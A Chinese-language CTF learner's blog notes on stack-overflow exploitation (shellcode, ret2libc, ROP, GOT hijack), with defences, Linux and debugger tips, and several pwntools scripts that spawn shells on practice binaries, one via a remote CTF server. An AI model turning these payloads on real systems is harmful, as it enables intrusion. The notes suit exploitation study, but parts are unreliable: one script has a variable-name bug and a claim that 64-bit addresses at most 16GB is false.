一個(gè)月的約定快要到了,瘋狂補(bǔ)棧溢出知識(shí),偷看大佬們博客,希望學(xué)到點(diǎn)什么。
棧溢出學(xué)習(xí)網(wǎng)站
棧溢出好文
手把手教你棧溢出從入門到放棄(上)
手把手教你棧溢出從入門到放棄(下)
棧溢出好文中學(xué)到的
4種方法:
修改返回地址,讓其指向溢出數(shù)據(jù)中的一段指令(shellcode)
修改返回地址,讓其指向內(nèi)存中已有的某個(gè)函數(shù)(return2libc)
修改返回地址,讓其指向內(nèi)存中已有的一段指令(ROP)
修改某個(gè)被調(diào)用函數(shù)的地址,讓其指向另一個(gè)函數(shù)(hijack GOT)
1、修改返回地址,讓其指向溢出數(shù)據(jù)中的一段指令(shellcode)
payload : padding1 + address of shellcode + padding2 + shellcode
填充數(shù)據(jù)(padding1)長(zhǎng)度應(yīng)該剛好覆蓋函數(shù)的基地址,長(zhǎng)度可用gdb調(diào)試輸入大量亂碼使其報(bào)出地址,找偏移然后加“AAAA”(32位機(jī))(64位機(jī)為8位)之類覆蓋地址。
padding2 里填充若干長(zhǎng)度的 “\x90”即 NOP,只要返回地址能夠命中這一段中的任意位置,都可以無(wú)副作用地跳轉(zhuǎn)到 shellcode 的起始處, NOP Sled(“滑雪橇”)。
操作系統(tǒng)關(guān)閉了內(nèi)存布局隨機(jī)化,即Address Space Layout Randomization (ASLR) 時(shí),技術(shù)才可以生效。同時(shí),在函數(shù)調(diào)用棧上的數(shù)據(jù)(shellcode)要有可執(zhí)行的權(quán)限
2、修改返回地址,讓其指向內(nèi)存中已有的某個(gè)函數(shù)(return2libc)
payload: padding1 + address of system()(系統(tǒng)級(jí)的函數(shù))+ padding2(32位機(jī)長(zhǎng)度為4) + address of “/bin/sh”(必要的參數(shù))
system()地址:直接查看 system() 的地址或動(dòng)態(tài)庫(kù)起始地址+相對(duì)偏移。 “/bin/sh” 的地址:動(dòng)態(tài)庫(kù)里搜索字符串,如果存在,就可以按照動(dòng)態(tài)庫(kù)起始地址+相對(duì)偏移來(lái)確定其絕對(duì)地址。如果在動(dòng)態(tài)庫(kù)里找不到,可以將這個(gè)字符串加到環(huán)境變量里,再通過(guò) getenv() 等函數(shù)來(lái)確定地址。
要關(guān)閉內(nèi)存布局隨機(jī)化(ASLR)
3、修改返回地址,讓其指向內(nèi)存中已有的一段指令(ROP)
payload : padding + address of gadget 1 + address of gadget 2 + ...... + address of gadget n
(最終)payload : padding + address of gadget 1 + param for gadget 1 + address of gadget 2 + param for gadget 2 + ...... + address of gadget n + shellcode
如果想連續(xù)執(zhí)行若干段指令,就需要每個(gè) gadget(某段指令,意為小工具) 執(zhí)行完畢可以將控制權(quán)交給下一個(gè) gadget。所以 gadget 的最后一步應(yīng)該是 RET 指令,這樣程序的控制權(quán)(eip)才能得到切換,所以這種技術(shù)被稱為返回導(dǎo)向編程( Return Oriented Programming )。
(太長(zhǎng)不方便總結(jié))現(xiàn)在任務(wù)可以分解為:針對(duì)程序棧溢出所要實(shí)現(xiàn)的效果,找到若干段以 ret 作為結(jié)束的指令片段,按照上述的構(gòu)造將它們的地址填充到溢出數(shù)據(jù)中。所以我們要解決以下幾個(gè)問(wèn)題:(1)首先,棧溢出之后要實(shí)現(xiàn)什么效果?(2)其次,如何尋找對(duì)應(yīng)的指令片段?(3)最后,如何傳入系統(tǒng)調(diào)用的參數(shù)?
有兩個(gè)方面需要注意:第一找gadget“曲線救國(guó)”,第二要小心 gadget 是否會(huì)破壞前面各個(gè) gadget 已經(jīng)實(shí)現(xiàn)的部分,比如可能修改某個(gè)已經(jīng)寫入數(shù)值的寄存器。另外,要特別小心 gadget 對(duì) ebp 和 esp 的操作,因?yàn)樗鼈兊淖兓瘯?huì)改變返回地址的位置,進(jìn)而使后續(xù)的 gadget 無(wú)法執(zhí)行。
4、修改某個(gè)被調(diào)用函數(shù)的地址,讓其指向另一個(gè)函數(shù)(hijack GOT)
我們的目標(biāo)分解為:確定函數(shù) A 在 GOT 表中的條目位置, B 在內(nèi)存中的地址,將函數(shù) B 的地址寫入函數(shù) A 在 GOT 表中的條目。那么后面所有對(duì)函數(shù) A 的調(diào)用都會(huì)執(zhí)行函數(shù) B。
(1)如何確定函數(shù) A 在 GOT 表中的條目位置?例如
call 0x08048430 printf@plt
就說(shuō)明 printf 在 PLT 表中的入口點(diǎn)是在 0x08048430,所以 0x08048430 處存儲(chǔ)的就是 GOT 表中 printf 的條目地址。
(2)如何確定函數(shù) B 在內(nèi)存中的地址?
假如我們知道了函數(shù) A 的運(yùn)行時(shí)地址(讀取 GOT 表內(nèi)容),也知道函數(shù) A 和函數(shù) B 在動(dòng)態(tài)鏈接庫(kù)內(nèi)的相對(duì)位置,就可以推算出函數(shù) B 的運(yùn)行時(shí)地址。
(3)如何實(shí)現(xiàn) GOT 表中數(shù)據(jù)的修改?
巧借ROP
其它相關(guān)知識(shí)
1、現(xiàn)代操作系統(tǒng)內(nèi)存通常是以分段的形式存放不同類型的信息的。函數(shù)調(diào)用棧就是分段的一個(gè)部分(Stack Segment)。內(nèi)存分段還包括堆(Heap Segment)、數(shù)據(jù)段(Data Segment),BSS段,以及代碼段(Code Segment)。
2、32位x86架構(gòu)下的匯編語(yǔ)言有 Intel 和 AT&T 兩種格式,常用Intel,兩者最主要的差別為Intel 格式,寄存器名稱和數(shù)值前無(wú)符號(hào):
“指令名稱 目標(biāo)操作數(shù) DST,源操作數(shù) SRC”
AT&T 格式,寄存器名稱前加“%”,數(shù)值前加“$”:
“指令名稱 源操作數(shù) SRC,目標(biāo)操作數(shù) DST”
CALL:調(diào)用指令,將當(dāng)前的 eip 壓入棧頂,并將 PTR 存入 eip,格式為
CALL PTR;
RET:返回指令,操作為將棧頂數(shù)據(jù)彈出至 eip,格式為
RET;
3、GOT 全稱是全局偏移量表(Global Offset Table),用來(lái)存儲(chǔ)外部函數(shù)在內(nèi)存的確切地址。PLT 全稱是程序鏈接表(Procedure Linkage Table),用來(lái)存儲(chǔ)外部函數(shù)的入口點(diǎn)(entry),換言之程序總會(huì)到 PLT 這里尋找外部函數(shù)的地址。 PLT 表內(nèi)存儲(chǔ)的入口點(diǎn)就是 GOT 表中對(duì)應(yīng)條目的地址。
4、操作系統(tǒng)常見防御措施
首先,通常情況下程序在默認(rèn)編譯設(shè)置下都會(huì)取消棧上數(shù)據(jù)的可執(zhí)行權(quán)限,這樣簡(jiǎn)單的 shellcode 溢出攻擊就無(wú)法實(shí)現(xiàn)了。其次,可以在操作系統(tǒng)內(nèi)開啟內(nèi)存布局隨機(jī)化(ASLR),這樣可以增大確定堆棧內(nèi)數(shù)據(jù)和動(dòng)態(tài)庫(kù)內(nèi)函數(shù)的內(nèi)存地址的難度。編譯程序時(shí)還可以設(shè)置某些編譯選項(xiàng),使程序在運(yùn)行時(shí)會(huì)在函數(shù)棧上的 ebp 地址和返回地址之間生成一個(gè)特殊的值,這個(gè)值被稱為“金絲雀”(“canary”)(關(guān)于這個(gè)典故,我自行谷歌了一下)。礦工曾利用金絲雀來(lái)確認(rèn)是否有氣體泄漏,如果金絲雀因?yàn)闅怏w泄漏而中毒死亡,可以給礦工預(yù)警。類似,一旦發(fā)生棧溢出并覆蓋了返回地址,這個(gè)值就會(huì)被改寫,從而實(shí)現(xiàn)函數(shù)棧的越界檢查。最后值得強(qiáng)調(diào)的是,盡可能寫出安全可靠的代碼,不給棧溢出提供寫入越界的可能。
烏班圖的使用上
1、有用的快捷鍵
shift+ctrl+c 復(fù)制
shift+ctrl+v 粘貼
ctrl+l 清屏且消息在上方
ctrl+r 查看歷史命令
bc 按回車后可進(jìn)行簡(jiǎn)單的加減乘除
↑ ↓ 向上向下找命令
2、某些命令
我的pattern有問(wèn)題,就借用了cyclic
cyclic 150相當(dāng)于pattern create 150//制造了150個(gè)亂碼
cyclic -l 0x6261616a相當(dāng)于pattern offset 0x6261616b6261616a//尋找偏移地址,注意:只要后8位
checksec 某文件//要變成日常操作,參見大佬總結(jié),雖然我沒看懂http://www.itdecent.cn/p/8a9ef7205632
file 某文件//可以顯示文件為32位或64位
chmod [who] [opt] [mode] 文件/目錄名
who表示對(duì)象。u:文件所有者 g:同組用戶 o:其它用戶 a:所有用戶
opt則是代表操作。+:添加某個(gè)權(quán)限 -:取消某個(gè)權(quán)限 =:賦予給定的權(quán)限,并取消原有的權(quán)限
mode代表權(quán)限。r:可讀 w:可寫 x:可執(zhí)行
例如:為同組用戶增加對(duì)文件a.txt的讀寫權(quán)限:chmod g+rw a.txt
chmod [mode] 文件名//r:4,w:2,x:1
例如:d rwx rwx ---就是770
mv 來(lái)源檔 目標(biāo)檔
例如:mv ccc ./aaa //把文件ccc移到目錄aaa下
mv ccc bbb //把ccc名字改為bbb
mkdir//創(chuàng)建目錄
rmdir//刪除空目錄
rm//刪除目錄或文件
rm -rf//強(qiáng)制刪除所有
touch //創(chuàng)建文件或改文件日期(可創(chuàng)多個(gè)文件)
cp//復(fù)制文件或目錄
例如:cp aaa bbb或cp aaa 位置
cat//查看文件內(nèi)容
echo " ··· ">某文件//可順便創(chuàng)一個(gè)文件
rop的小工具gadget
查找可存儲(chǔ)寄存器的代碼
ROPgadget --binary level0(文件名) --only 'pop|ret' | grep 'eax' | grep 'ecx' | grep 'edx'//一次性找三個(gè),但是要注意順序
ROPgadget --binary rop --only 'pop|ret' | grep 'eax' | grep 'ecx' | grep 'edx'
查找字符串
ROPgadget --binary rop --string "/bin/sh"
查找有int 0x80的地址
ROPgadget --binary rop --only 'int'
3、某些腳本
這些都是32位的
level0的腳本
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
lf = ELF('./oj/level0')
callsys_addr = elf.symbols['callsystem']
io = process('./oj/level0')
io.recvuntil('World\n')
payload = 'A' * (136) + p64(callsys_addr)
io.send(payload)
io.interactive()
io.close()
level2的腳本1
#-*- coding:utf-8 -*-
from pwn import *
# context.log_level = 'debug'
# p = process('./level2')
p = remote("pwn2.jarvisoj.com","9878")
system = 0x8048320
binsh = 0x804A024
#system("/bin/sh")
payload = 0x8c * "A" + p32(system) + p32(0) + p32(binsh) #將/bin/sh壓入棧中作為system 的參數(shù)
p.sendline(payload)
p.interactive()
level2的腳本2
#-*- coding:utf-8 -*-
from pwn import *
p = process('./level2')
system = 0x8048320#system("/bin/sh")
binsh = 0x804A024
payload = 0x88 * "A" + p32(0) + p32(system) + p32(0) + p32(binsh)
#第一個(gè)p32(0)可改成“AAAA”(四個(gè)垃圾字符),那不就是腳本1嗎,哈哈
p.sendline(payload)
p.interactive()
ret2syscall的腳本
execve(‘/bin/sh’,NULL,NULL)execve的系統(tǒng)調(diào)用號(hào)是0x0b
execve系統(tǒng)調(diào)用號(hào)賦給eax寄存器,將參數(shù)”/bin/sh”的地址賦值給ebx寄存器,參數(shù)NULL,NULL賦值給ecx和edx寄存器,觸發(fā) 0x80 號(hào)中斷
#encoding:utf-8
from pwn import *
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
bin_sh = 0x080be408
int_0x80 = 0x08049421
payload = 'A' * 112#用以往定位偏移的方法得到
payload += p32(pop_eax_ret) + p32(0x0b)
payload += p32(pop_edx_ecx_ebx_ret) + p32(0x00) + p32(0x00) + p32(bin_sh)
#address of gadget + param for register
payload +=p32(int_0x80)
io = process('ret2syscall')
io.sendline(payload)
io.interactive()
ret2shellcode的腳本
# -*- coding: utf-8 -*-
from pwn import *
sh = process('./ret2shellcode')
buf = 0x804A080
shellcode = asm(shellcraft.sh())#自動(dòng)生成shellcode
sh.sendline(shellcode.ljust(112,'a')+p32(buf))
sh.interactive()
ida的使用上
大佬的ida用法
http://www.itdecent.cn/p/ee0fcf93c8e7
以下是新新手的ida用法
1、有用的快捷鍵
shift+F12//查找字符串
R ASCII->字符
H 字符->ASCII
G 跳地址
Alt+t 找特定字符串
OllyDebug的使用
大佬的OllyDebug用法
http://www.itdecent.cn/p/6c8efc15f1ad
以下是新新手的OllyDebug用法
ctrl+G 跳轉(zhuǎn)到某個(gè)地址處
F2 加斷點(diǎn)
ctrl + F2 重啟程序
F7 單步進(jìn)入
F8 單步不進(jìn)入
F9 直接運(yùn)行
其它
32位程序與64位程序的區(qū)別
尋址能力:64位最大支持到16GB內(nèi)存,而32位只支持4G內(nèi)存
機(jī)器字長(zhǎng):64位為8個(gè)字節(jié),而32位為4個(gè)字節(jié)
調(diào)用函數(shù)的參數(shù):64位程序中的函數(shù)參數(shù)先放在寄存器中,而32位直接放入棧中
寄存器順序?yàn)閞di,rsi,rdx,rcx,r8,r9